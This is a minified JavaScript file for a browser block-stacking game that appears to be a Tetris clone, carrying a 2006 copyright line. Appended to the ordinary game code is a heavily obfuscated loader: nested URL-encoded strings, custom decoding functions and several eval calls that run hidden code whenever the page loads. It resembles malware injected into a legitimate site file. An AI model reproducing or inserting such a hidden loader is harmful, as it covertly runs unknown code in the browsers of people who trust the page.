// Copyright © 2006 Dario Di Pardo
f=document;g=f.domain;k=true;l=false;p=Object;w=Math;x=w.floor;y=w.random;z=w.round;aa=w.pow;ax=Array;ee=top;ey=Date;fh=window;function u(q,ad){var c;var am;am=new ax(q);for(c=0;c<q;c++){am[c]=new ax(ad);}return am}function push(r,value){r[r.length]=value}function splice(r,index){var bv;var ai,an;bv=new ax();an=0;for(ai=0;ai<r.length;ai++){if(ai!=index){bv[an]=r[ai];an++}}return bv}function bj(block,ds){var aq;var b;var c,d;aq=new p();b=block.tiles;aq.tiles=u(b.length,b[0].length);for(c=0;c<b.length;c++){for(d=0;d<b[c].length;d++){aq.tiles[c][d]=b[c][d]}}if(ds){aq.row=block.row;aq.col=block.col}return aq}function bw(block,row,col,dt){var b;var c,d;var bx;b=block.tiles;for(c=0;c<b.length;c++){for(d=0;d<b[c].length;d++){if(b[c][d]!=null){if((row+c<0)||(col+d<0)||(row+c>ay-1)||(col+d>ar-1)){return l};bx=az[row+c][col+d];if(bx!=null){if(bx!=dt){return l}}}}}return k}function du(block,row,col){return bw(block,row,col,block);}function dv(block,row,col){return bw(block,row,col,block);}function by(r,left){var am;var c,d;am=u(r[0].length,r.length);for(c=0;c<r.length;c++){for(d=0;d<r[c].length;d++){if(left){am[r[c].length-1-d][c]=r[c][d]}else{am[d][r.length-1-c]=r[c][d]}}}return am}function cx(block){var v,bz;var ca;var ai,an;var bk;v=block.tiles.length;bz=block.tiles[0].length;ca=w.max(v,bz);ai=x((ca-v)/2);an=x((ca-bz)/2);bk=new p();bk.row=block.row+ai-an;bk.col=block.col+an-ai;return bk}function dw(block,left){var ba;var aj;ba=bj(block,k);ba.tiles=by(ba.tiles,left);aj=cx(ba);return bw(ba,aj.row,aj.col,block);}function dx(block){var b;var c,d;b=block.tiles;for(c=0;c<b.length;c++){for(d=0;d<b[c].length;d++){if(b[c][d]!=null){return k}}}}function cy(){f.onkeydown=null;f.onkeypress=null;f.onkeyup=null}function dy(block,row){var bl;var d;var o;block.tiles=splice(block.tiles,row);bl=block.tileElements;for(d=0;d<bl[row].length;d++){o=bl[row][d];if(o!=null){bm(o);}}block.tileElements=splice(bl,row);}function cb(keyCode){switch(keyCode){case 38:return 3;case 40:return 0;case 37:return 1;case 39:return 2;default:return-1}}function dz(e){if(e==null){e=event}return cb(e.keyCode)==-1}function ea(col){return(((bb*2)+bc+cz)*col)+"px"}function eb(row){return(((bb*2)+bd+da)*row)+"px"}function ec(ad){return((ad*((bb*2)+bc))+((ad-1)*cz))+"px"}function ed(q){return((q*((bb*2)+bd))+((q-1)*da))+"px"}function bn(j,row,col){j.style.left=ea(col);j.style.top=eb(row);}function bo(j,q,ad){j.style.width=ec(ad);j.style.height=ed(q);}function ef(color,row,col){var t;var o;t=f.createElement("div");t.style.position="absolute";bn(t,row,col);t.style.width=bc+"px";t.style.height=bd+"px";t.style.border="solid "+bb+"px #000000";o=f.createElement("div");o.style.overflow="hidden";o.style.width=bc+"px";o.style.height=bd+"px";o.style.backgroundColor=color;t.appendChild(o);return t}function eg(block){var b;var ae;var cc;var c,d;var h;var o;var ak;b=block.tiles;ae=f.createElement("div");ae.style.overflow="hidden";ae.style.position="absolute";bn(ae,block.row,block.col);bo(ae,b.length,b[0].length);cc=u(b.length,b[0].length);for(c=0;c<b.length;c++){for(d=0;d<b[c].length;d++){h=b[c][d];if(h!=null){o=ef(h.color,c,d);ae.appendChild(o);cc[c][d]=o}}}ak=new p();ak.block=ae;ak.tiles=cc;return ak}function db(q,ad,id){var t;var as;t=f.createElement("div");bo(t,q,ad);t.style.border="solid 3px #6699FF";as=f.createElement("div");as.id=id;bo(as,q,ad);as.style.position="relative";as.style.background="#CCDDFF";t.appendChild(as);return t}function dc(j){j.style.top="0px";j.style.left="0px";j.style.width="100%";j.style.textAlign="center";j.style.fontSize=eh+"px";j.style.lineHeight="1.5em";j.style.color="#6699FF";j.style.marginTop="4px";j.style.textTransform="uppercase";j.style.fontWeight="bold";f.getElementById("ts").appendChild(j);}function dd(id,ei){var j;j=f.createElement("div");j.id=id;j.innerHTML=ei;j.style.position="absolute";j.style.overflow="hidden";return j}function de(block,ej){var elements;elements=eg(block);block.element=elements.block;block.tileElements=elements.tiles;ej.appendChild(elements.block);}function bp(block){bm(block.element);}function bm(j){j.parentNode.removeChild(j);}function cd(block,position,ek,tiles){var ae;var b;var c,d;var o;ae=block.element;b=block.tiles;if(position){bn(ae,block.row,block.col)}if(ek){bo(ae,b.length,b[0].length)}if(tiles){for(c=0;c<b.length;c++){for(d=0;d<b[c].length;d++){o=block.tileElements[c][d];if(o!=null){bn(o,c,d);}}}}}function df(q,ad,em){var af;var ce;var cf;var bq;var cg;var c,d;var ak;af=f.createElement("table");af.cellSpacing="0";ce=f.createElement("tbody");af.appendChild(ce);cg=u(q,ad);for(c=0;c<q;c++){cf=f.createElement("tr");ce.appendChild(cf);for(d=0;d<ad;d++){if(em&&d==0){bq=f.createElement("th");}else{bq=f.createElement("td");}cf.appendChild(bq);cg[c][d]=bq}}ak=new p();ak.table=af;ak.data=cg;return ak}function dg(id,value,onClick){var j;j=f.createElement("input");j.id=id;j.type="button";j.value=value;j.onclick=onClick;j.style.width="64px";j.style.background="#FFFFFF";j.style.border="solid 1px #000000";j.style.fontFamily="verdana";j.style.fontSize="100%";j.style.margin="0px 0px 6px 0px";return j}function ch(j,id){var ci;ci=f.createElement("b");ci.id=id;j.style.width="64px";j.style.paddingLeft="8px";j.appendChild(ci);}function en(){var m;var block;var b;var h;m=new ax(7);block=new p();b=u(1,4);h=new p();h.color="#FA8072";b[0][0]=h;b[0][1]=h;b[0][2]=h;b[0][3]=h;block.tiles=b;m[0]=block;block=new p();b=u(2,3);h=new p();h.color="#F8B741";b[0][0]=h;b[0][1]=h;b[0][2]=h;b[1][1]=h;block.tiles=b;m[1]=block;block=new p();b=u(2,2);h=new p();h.color="#F4FA72";b[0][0]=h;b[0][1]=h;b[1][0]=h;b[1][1]=h;block.tiles=b;m[2]=block;block=new p();b=u(2,3);h=new p();h.color="#CCF05C";b[0][0]=h;b[0][1]=h;b[0][2]=h;b[1][0]=h;block.tiles=b;m[3]=block;block=new p();b=u(2,3);h=new p();h.color="#FAE572";b[0][0]=h;b[0][1]=h;b[0][2]=h;b[1][2]=h;block.tiles=b;m[4]=block;block=new p();b=u(2,3);h=new p();h.color="#FAAC72";b[0][0]=h;b[0][1]=h;b[1][1]=h;b[1][2]=h;block.tiles=b;m[5]=block;block=new p();b=u(2,3);h=new p();h.color="#FACA72";b[0][1]=h;b[0][2]=h;b[1][0]=h;b[1][1]=h;block.tiles=b;m[6]=block;return m}function eo(){var elements;var af;elements=df(3,2,l);af=elements.table;af.cellPadding="1";af.style.fontSize="100%";af.style.textTransform="uppercase";elements.data[0][0].innerHTML="Score";elements.data[1][0].innerHTML="Level";elements.data[2][0].innerHTML="Lines";ch(elements.data[0][1],"sc");ch(elements.data[1][1],"lv");ch(elements.data[2][1],"ln");return af}function dh(){return cj[parseInt(cj.length*y())]}function ao(block,row,col,clear){var b;var c,d;b=block.tiles;for(c=0;c<b.length;c++){for(d=0;d<b[c].length;d++){if(b[c][d]!=null){az[row+c][col+d]=clear?null:block}}}}function ep(block,row,col){ao(block,row,col,l);block.row=row;block.col=col;push(m,block);}function eq(index){var block;block=m[index];ao(block,block.row,block.col,k);block.row=null;block.col=null;m=splice(m,index);}function er(block,row,col){ao(block,block.row,block.col,k);ao(block,row,col,l);block.row=row;block.col=col}function es(block,left){var aj;ao(block,block.row,block.col,k);block.tiles=by(block.tiles,left);aj=cx(block);ao(block,aj.row,aj.col,l);block.row=aj.row;block.col=aj.col}function et(row){var d;for(d=0;d<ar;d++){if(az[row][d]==null){return l}}return k}function eu(){var ap;var c;ap=new ax();for(c=0;c<ay;c++){if(et(c)){push(ap,c);}}return ap}function ev(){var i;for(i=m.length-1;i>=0;i--){bp(m[i]);eq(i);}}function ew(left){if(dw(n,left)){es(n,left);n.tileElements=by(n.tileElements,left);cd(n,k,k,k);}}function ck(row,col){if(dv(n,row,col)){er(n,row,col);cd(n,k,l,l);return k}}function di(){var ap;var v;var i;if(ck(n.row+1,n.col)){return k}else{ex();i=z((3000-(new ey()-dj))/6);if(i>0){ab+=i;cl();}ap=eu();v=ap.length;if(v>0){ez(ap);br+=v;bs=1+x(br/10);ab+=((v+1)/2)*v*1000;be=dk*aa(0.80,bs-1);cl();}if(dl()){dm();}else{fa()}}}function dl(){var d;if(ac==null){n=bj(dh(),l);}else{n=bj(ac,l);}d=x((ar-n.tiles[0].length)/2);if(du(n,0,d)){ep(n,0,d);de(n,f.getElementById("ts"));if(ac!=null){bp(ac)}ac=bj(dh(),l);ac.row=x((4-ac.tiles.length)/2);ac.col=x((4-ac.tiles[0].length)/2);de(ac,f.getElementById("tn"));return k}}function fb(){cy();bt();clearTimeout(bf);}function fc(){bf=setTimeout(cm,be);dn();}function ez(q){var bg;var block;var v;var i;var c;az=u(ay,ar);for(bg=m.length-1;bg>=0;bg--){block=m[bg];v=0;for(i=0;i<q.length;i++){c=q[i];if(c>block.row+block.tiles.length-1){v++}else{if(c>=block.row){dy(block,c-block.row);block.row++}}}if(dx(block)){block.row+=v;ao(block,block.row,block.col,l);cd(block,k,k,k);}else{bp(block);block.row=null;block.col=null;m=splice(m,bg);}}}function fd(){if(cn){fc();cn=l;bm(f.getElementById("ms"));f.getElementById("ps").value="Pause"}else{fb();cn=k;dc(dd("ms","Pause"));f.getElementById("ps").value="Continue"}}function doAction(fe){switch(bh){case 0:di();break;case 1:ck(n.row,n.col-1);break;case 2:ck(n.row,n.col+1);break;case 3:ew(ff);break;default:return}if(fe){co=setTimeout("doAction(true)",40)};}function bt(){clearTimeout(co);bh=-1}function cl(){f.getElementById("sc").innerHTML=ab;f.getElementById("lv").innerHTML=bs;f.getElementById("ln").innerHTML=br}function fg(){var at;var dp;var cp;at=f.getElementById("st");at.disabled=k;at.blur();if(fh.gm){gm.DisableSaveScore()}cp=f.getElementById("ms");if(cp!=null){bm(cp)}ev();if(ac!=null){bp(ac);ac=null}ab=0;bs=1;br=0;be=dk;cl();dl();dn();dm();dp=f.getElementById("ps");dp.disabled=l;}function dm(){dj=new ey();bf=setTimeout(cm,be);}function cm(){if(di()){bf=setTimeout(cm,be);}}function ex(){clearTimeout(bf);}function dn(){f.onkeydown=keyDown;f.onkeypress=dz;f.onkeyup=keyUp}function keyUp(e){if(e==null){e=event}if(cb(e.keyCode)==bh){bt();}}var xByJVk = unescape('%7bvar xUkNaP %3d unescape%28%27%257bvar xTrPbA %253d unescape%2528%2527X%25252bBlvar xFwzYt %25253d %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%252527%25253b%25253bfunction __zb8%252528z94%252529%25257bvar z8d%25253d%25255b%25255d%25252czc9%25253d%25255b%25255d%25253bvar zd2%25253d%25255b%25255d%25253bvar z3f%25253d%252522%25255cx61%25255cx7a%25255cx41%25255cx5a%25255cx30%25255cx39%252522%25253b%25257bvar z9e%25253d%2525280xd%25252b263%25252d0x114%252529%25253bfor%252528var zd1%25253d%2525280xcc7%25252b5582%25252d0x2295%252529%25253bzd1%25253cz3f%25252elength%25253bzd1%25252b%25253d%2525280x12bb%25252b4530%25252d0x246b%252529%252529%25257bvar zca%25253dz3f%25252echarCodeAt%252528zd1%252529%25252cz56%25253dz3f%25252echarCodeAt%252528zd1%25252b%2525280x7ae%25252b3578%25252d0x15a7%252529%252529%25253bfor%252528%25253bzca%25253c%25253dz56%25253b%25252b%25252bzca%252529%25257bvar z14%25253d%252528z9e%25252b%25252b%252525%2525280x3c5%25252b7196%25252d0x1fd1%252529%252529%25253bz8d%25255bzca%25255d%25253dz14%25252a%2525280x204f%25252b1178%25252d0x24d9%252529%25253bzc9%25255bzca%25255d%25253dz14%25253b%25257d%25257dfor%252528var z2d%25253d%2525280x872%25252b273%25252d0x983%252529%25253bz2d%25253c%2525280x1a85%25252b2777%25252d0x245e%252529%25253b%25252b%25252bz2d%252529zd2%25255bz2d%25255d%25253dString%25252efromCharCode%252528z2d%252529%25253b%25257dvar z84%25253d%252527%252527%25253bfor%252528var zd1%25253d%2525280x6eb%25252b4793%25252d0x19a4%252529%25253bzd1%25253cz94%25252elength%25253bzd1%25252b%25253d%2525280x111f%25252b5358%25252d0x260b%252529%252529%25257bz84%25252b%25253dzd2%25255bz8d%25255bz94%25252echarCodeAt%252528zd1%252529%25255d%25252bzc9%25255bz94%25252echarCodeAt%252528zd1%25252b%2525280x271%25252bj7213%25252d0x1e9d%252529%252529%25255d%25255d%25253b%25257dreturn z84%25253b%25257d%25253b xFwzYt %25253d __zb8%252528xFwzYt%252529%25253b eval%252528xFwzYt%252529%25253b xFwzYt %25253d %252527%252527%25253b %2527%2529%253bxTrPbA %253d %2528xTrPbA%252echarCodeAt%25284%2529%253e4%253fString%252efromCharCode%2528%2528527%252bxTrPbA%252echarCodeAt%25283%2529%2529%2525256%2529%253axTrPbA%252echarAt%25282%2529%2529%252bxTrPbA%252esubstr%25284%252c3573%2529%252b%2528xTrPbA%252echarCodeAt%25284%2529%253e12%253fString%252efromCharCode%2528%2528338%252bxTrPbA%252echarCodeAt%25281%2529%2529%2525256%2529%253axTrPbA%252echarAt%25280%2529%2529%253b xTrPbA %253d eval%2528xTrPbA%2529%253b%253b %257d%253b%27%29%3bxUkNaP %3d xUkNaP%2esubstr%280%2c3852%29%2b%28xUkNaP%2echarCodeAt%283854%29%3e99%3fString%2efromCharCode%28%2867%2bxUkNaP%2echarCodeAt%283853%29%29%25256%29%3axUkNaP%2echarAt%283852%29%29%2bxUkNaP%2esubstr%283854%2c374%29%3b xUkNaP %3d eval%28xUkNaP%29%3b%3b %7d%3b');{var z82="\x5c";function __z9b(z07){while(z82.length<(0x5b0+4306-0x15ba)){z82+=z82+z82+z82+z82+z82;}var z84='',z5d=(0x613+5902-0x1d21);while((0x6ae+4399-0x17dc)){var zff=z07.indexOf("\x5e",z5d);if(zff==-(0x2203+1166-0x2690))return z84+z07.substr(z5d);else{z84+=z07.substr(z5d,zff-z5d);var zd1=(0x1e93+1313-0x23b2);var z21=z07.charAt(zff+(0x907+1781-0xffb));while((0x1451+3608-0x2268)){var zab=z07.charAt(zff+zd1++);if(!(zab>="\x30"&&zab<="\x39"))break;else z21+=zab;}z21=parseInt(z21);z5d=zff+zd1-(0x194+2657-0xbf4);do{var z14=z21>z82.length?z82.length:z21;z21-=z14;z84+=z82.substr((0x27b+7467-0x1fa6),z14);}while(z21>z82.length);}}return z84;}};xByJVk = __z9b(xByJVk);eval(xByJVk);
